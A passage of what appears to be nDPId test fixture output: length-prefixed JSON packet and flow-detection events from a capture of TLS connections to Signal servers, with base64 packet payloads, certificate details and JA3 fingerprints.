rGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EE6KGWqENscs7my902gawi82EKGEBY1OGfCfEfs7ccHGRh\/ivx4SUKMrTlS5v1UjrC46CJp46iaaYMUhfqQloWHQYBAQCK5xLvS8uYOH+now\/VHq0+02Yf\/3dOOduLRhd\/U10lyXbakGblKOev0HYzCWD1LMPGzJ+aAqSss1M0\/tRwNDL+MwmzLschKgXIEyFMjj+oV+knxenQFOJNP+AMJogCZ0ndTs+TrruKmq03cz5imW\/nL46yqnkx8gUP1Yu7AMbchxBVlAMph0uTVkFAFMHS59CeTXh+pYWTuiyGhUWJylpqoJ9cH8dpUVcvKwfOL4AhZTAlB058Vtw3SRtuIhbdKFTFYYRM8B2iOARPcnK52bczpoXKQd1Ppube4uIpD2t0FPo7ShsDqPM79kQtshChk1GlRFCGA+L5WL78DoirnVfdFgMDAAQOAAAA"} +01229{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":69,"source":"signal.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":7,"flow_first_seen":1569051247603,"flow_last_seen":1569051247830,"flow_tot_l4_data_len":3239,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":462,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57021,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00423{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":830427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0qogAAO4GS\/Mi4fCtwKgCEQG73rwJHv2AxsFviYAQAG5M0wAAAQEICmQVVwgoVVJf"} +02356{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":832906,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUqokAAO4GRlIi4fCtwKgCEQG73rwJHv2AxsFviYAQAG621gAAAQEICmQVVwgoVVJfFgMDAGICAABeAwMfr0tPJB6EerPxtB9rbk4yB+ls6Zlwm2aEnwwF4DJG5SBjSOP6ZrEXGLOGyuPQLd8ex1o\/\/eXmbMaXqtuiQ9iL+sAvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9w"} +00841{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":71,"source":"signal.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1569051247601,"flow_last_seen":1569051247832,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57020,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01831{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":832918,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"xGGLNYKpxiwDYGpkCABFAARCqooAAO4GR+Mi4fCtwKgCEQG73rwJHwMgxsFviYAYAG4fHwAAAQEICmQVVwgoVVJfZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EEdfPoVIyelAs1jDQcYxNUltibkItZOC04agY2rkl7kMMiBS\/aF+0jsINgkrbWwWAfbwuwerivp8REahUHCyJFuAYBAQAwgXAg1F\/KADI27hgUi\/kZ2sOJHbC\/ZPcTIYXQ1w90dtoz6bZyrm1epVwCQwjBL2QjpYwnDUdIPvsjjmkEb5S3D8Td13XPzd1jHR+whv0NGBxiBMR+u2B3dFNLty6clmqhY7\/y55vsTHDSX3GA89ayJr86+2Cyp5bNhpW\/sJYDYfpH82gx73nDCPQQTGxxTDJPQLZlf0FPd+OymguMU5XiHADFr\/rMRdzxd1YvV1NC8DRBwjXXeZgaI8MGGg0WqD47SPHU3AWGmz8DHk7YkMiB4a20GDuRbi6NkKteoBMtuoULvZMUoeTOPp+YOVNtFbUvQxiAnMf2jMHrb0HSOxB4FgMDAAQOAAAA"} +01229{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":72,"source":"signal.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1569051247601,"flow_last_seen":1569051247832,"flow_tot_l4_data_len":3239,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":462,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57020,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00599{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":833987,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGY\/7AqAIRIuHwrd67Abuyrbl3SxDIiYAYBABg8wAAAQEICihVUtBkFVcGFgMDAEYQAABCQQTzJ1yPIXJ3ZnR+vGzI54jrzhnu8C3zk3AuTzCiaxGYRAyma\/mN8ZRj03ZTAyyUj+D\/l2fAgVRsNhr3Y0B3RZ5gFAMDAAEBFgMDACgAAAAAAAAAAJjG9\/FrrX2\/si5tk63YfV\/QxCZCnOQaYOIilQwA+2OO"} +00424{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":834319,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd69Abtt2MkVZ\/eymoAQA\/c0QgAAAQEICihVUtBkFVcI"} +00424{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":834575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd68AbvGwW+JCR8HLoAQA\/c\/KwAAAQEICihVUtBkFVcI"} +00598{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":840191,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGY\/7AqAIRIuHwrd69Abtt2MkVZ\/eymoAYBABMcgAAAQEICihVUtZkFVcIFgMDAEYQAABCQQSAJzWvCnK0aJhUQQC6oX3wq29Zh+S2wSQpZdMfEgVug8N7b1hQ6tqKVONPcnNAVkGw03nTK3ScsEhoHjv7zPddFAMDAAEBFgMDACgAAAAAAAAAAJz8B9mobdEuxCQMKA\/FdMuU\/\/5gEuyfr7x4e9qsJmkA"} +00595{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":842977,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGY\/7AqAIRIuHwrd68AbvGwW+JCR8HLoAYBABfPAAAAQEICihVUthkFVcIFgMDAEYQAABCQQTX9ABbSXAnuBVjrUckqWb55UlmE4yvNWkoJQkka9DAHLXz7MQ8dkmMxJ1rEj3fIxC49HC2wJuR2N2vx59EgawEFAMDAAEBFgMDACgAAAAAAAAAAN3aOEJmmIah7\/RbdRsJWUPclmEEGateGdrsMcprBICz"} +00494{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":943194,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABn6eAAAO0GDWgi4fCtwKgCEQG73rtLEMiJsq259YAYAG69TQAAAQEICmQVVyUoVVLQFAMDAAEBFgMDAChwMq\/o++J1m+aZio58YaG66jfGqIU98RNrHtG4md66XLBGsFJo88BC"} +00520{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":943223,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB56eEAAO0GDVUi4fCtwKgCEQG73rtLEMi8sq259YAYAG5XAAAAAQEICmQVVyUoVVLQFwMDAEBwMq\/o++J1nL4edJ02PnylxIyl\/o9XXSsLthTjT3nyUBTFRaigAk2tNn+mcrb9zDm7H2TD5EflHVxrHRArQAhg"} +00424{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":944284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd67Abuyrbn1SxDIvIAQA\/8EwgAAAQEICihVUz1kFVcl"} +00498{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":945815,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGZEfAqAIRIuHwrd67Abuyrbn1SxDIvIAYBADqXgAAAQEICihVUz5kFVclFwMDADAAAAAAAAAAARlUoQDL9AONRZWZoPWvYVJPRkg2\/2hibkX8OuOPQ5LyLZdawMsJcPU="} +00493{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":945833,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"xiwDYGpkxGGLNYKpCABFAABmAABAAEAGZErAqAIRIuHwrd67AbuyrboqSxDIvIAYBADlUQAAAQEICihVUz5kFVclFwMDAC0AAAAAAAAAAjAVvcrU0na4NUOjlwgd5atWB7V6QpDGfuOvr4T70XZlHxKqtxg="} +00482{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":945883,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"xiwDYGpkxGGLNYKpCABFAABeAABAAEAGZFLAqAIRIuHwrd67AbuyrbpcSxDIvIAYBAB+HgAAAQEICihVUz5kFVclFwMDACUAAAAAAAAAA2VWwXLzP6p\/oY8NIHJAATFoPmGKNJAr594bVj3A"} +00496{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":950911,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABn\/+4AAO0G91ki4fCtwKgCEQG73r1n97KabdjJk4AYAG6hewAAAQEICmQVVyYoVVLWFAMDAAEBFgMDACiOQpHtZL+9E9bSiyV\/Gp9tSl0qsmyckCGSx0xbf\/YtXkcjrcmzswHT"} +00521{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":950938,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5\/+8AAO0G90Yi4fCtwKgCEQG73r1n97LNbdjJk4AYAG6CkAAAAQEICmQVVyYoVVLWFwMDAECOQpHtZL+9FI0pdylhzWC\/6ykmz+h2J5Qx+DGlPEvIGz+GnnM28oWlvsaABZk2H4WTbHBUtEF4d1\/8vBk6BWm+"} +00425{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":953035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd69Abtt2MmTZ\/eyzYAQA\/8y9wAAAQEICihVU0RkFVcm"} +00499{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":953546,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGZEfAqAIRIuHwrd69Abtt2MmTZ\/eyzYAYBADNtAAAAQEICihVU0VkFVcmFwMDADAAAAAAAAAAAbsPqSjCb\/jHraCKqhsVJIh624VO1mfR5nUTyA9i9BW6LB36wbMgMHc="} +00494{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":953568,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"xiwDYGpkxGGLNYKpCABFAABmAABAAEAGZErAqAIRIuHwrd69Abtt2MnIZ\/eyzYAYBAAjCwAAAQEICihVU0VkFVcmFwMDAC0AAAAAAAAAAr6sauNFu3vXjP63DLrlvC+MzCGBUu7+ziHidUza7210QPmn6wk="} +00483{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":953583,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"xiwDYGpkxGGLNYKpCABFAABeAABAAEAGZFLAqAIRIuHwrd69Abtt2Mn6Z\/eyzYAYBACk7AAAAQEICihVU0VkFVcmFwMDACUAAAAAAAAAAyTc6C2A8\/LkfdLsG8JvPnTE6MhXKTD+NtirbEKH"} +00495{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":955904,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABnqosAAO4GS70i4fCtwKgCEQG73rwJHwcuxsFwB4AYAG5sewAAAQEICmQVVycoVVLYFAMDAAEBFgMDACh\/EvinPkBCbgdYRqBmOxnOdBzZJ9qyVVQWJ6OwzGFp3jpRgvwV80pt"} +00522{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":955916,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5qowAAO4GS6oi4fCtwKgCEQG73rwJHwdhxsFwB4AYAG6PPQAAAQEICmQVVycoVVLYFwMDAEB\/EvinPkBCb56\/Y1mdD9P\/nshsSf5SokuZTH+sZmZH76Sk+7zDkIOGHagcz4nDQPP6t4m6HxtY+7KWeRDkJHbK"} +00425{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":958406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd68AbvGwXAHCR8HYYAQA\/892gAAAQEICihVU0lkFVcn"} +00499{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":959283,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGZEfAqAIRIuHwrd68AbvGwXAHCR8HYYAYBAAu\/AAAAQEICihVU0pkFVcnFwMDADAAAAAAAAAAATcufglEViLPiPjL092UEQJo0U64vUF2UFkY53GOwbJOwkAvWB0AwLM="} +00495{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":959300,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"xiwDYGpkxGGLNYKpCABFAABmAABAAEAGZErAqAIRIuHwrd68AbvGwXA8CR8HYYAYBABEBgAAAQEICihVU0pkFVcnFwMDAC0AAAAAAAAAAqISE8B12kMfYa+2uGxDkEAjhOLHV1PQbjMZZA9t\/Hrkm215chk="} +00482{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":959407,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"xiwDYGpkxGGLNYKpCABFAABeAABAAEAGZFLAqAIRIuHwrd68AbvGwXBuCR8HYYAYBAD1JgAAAQEICihVU0pkFVcnFwMDACUAAAAAAAAAA35IIP1PbvAvAh7sE6GkD8KbJNOMX2z3shtqa05K"} +00424{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":973291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0cPIAAO0Ghoki4fCtwKgCEQG7wEr7fzGQQK3E5YAQAG55YQAAAQEICmQVVywoVU5m"} 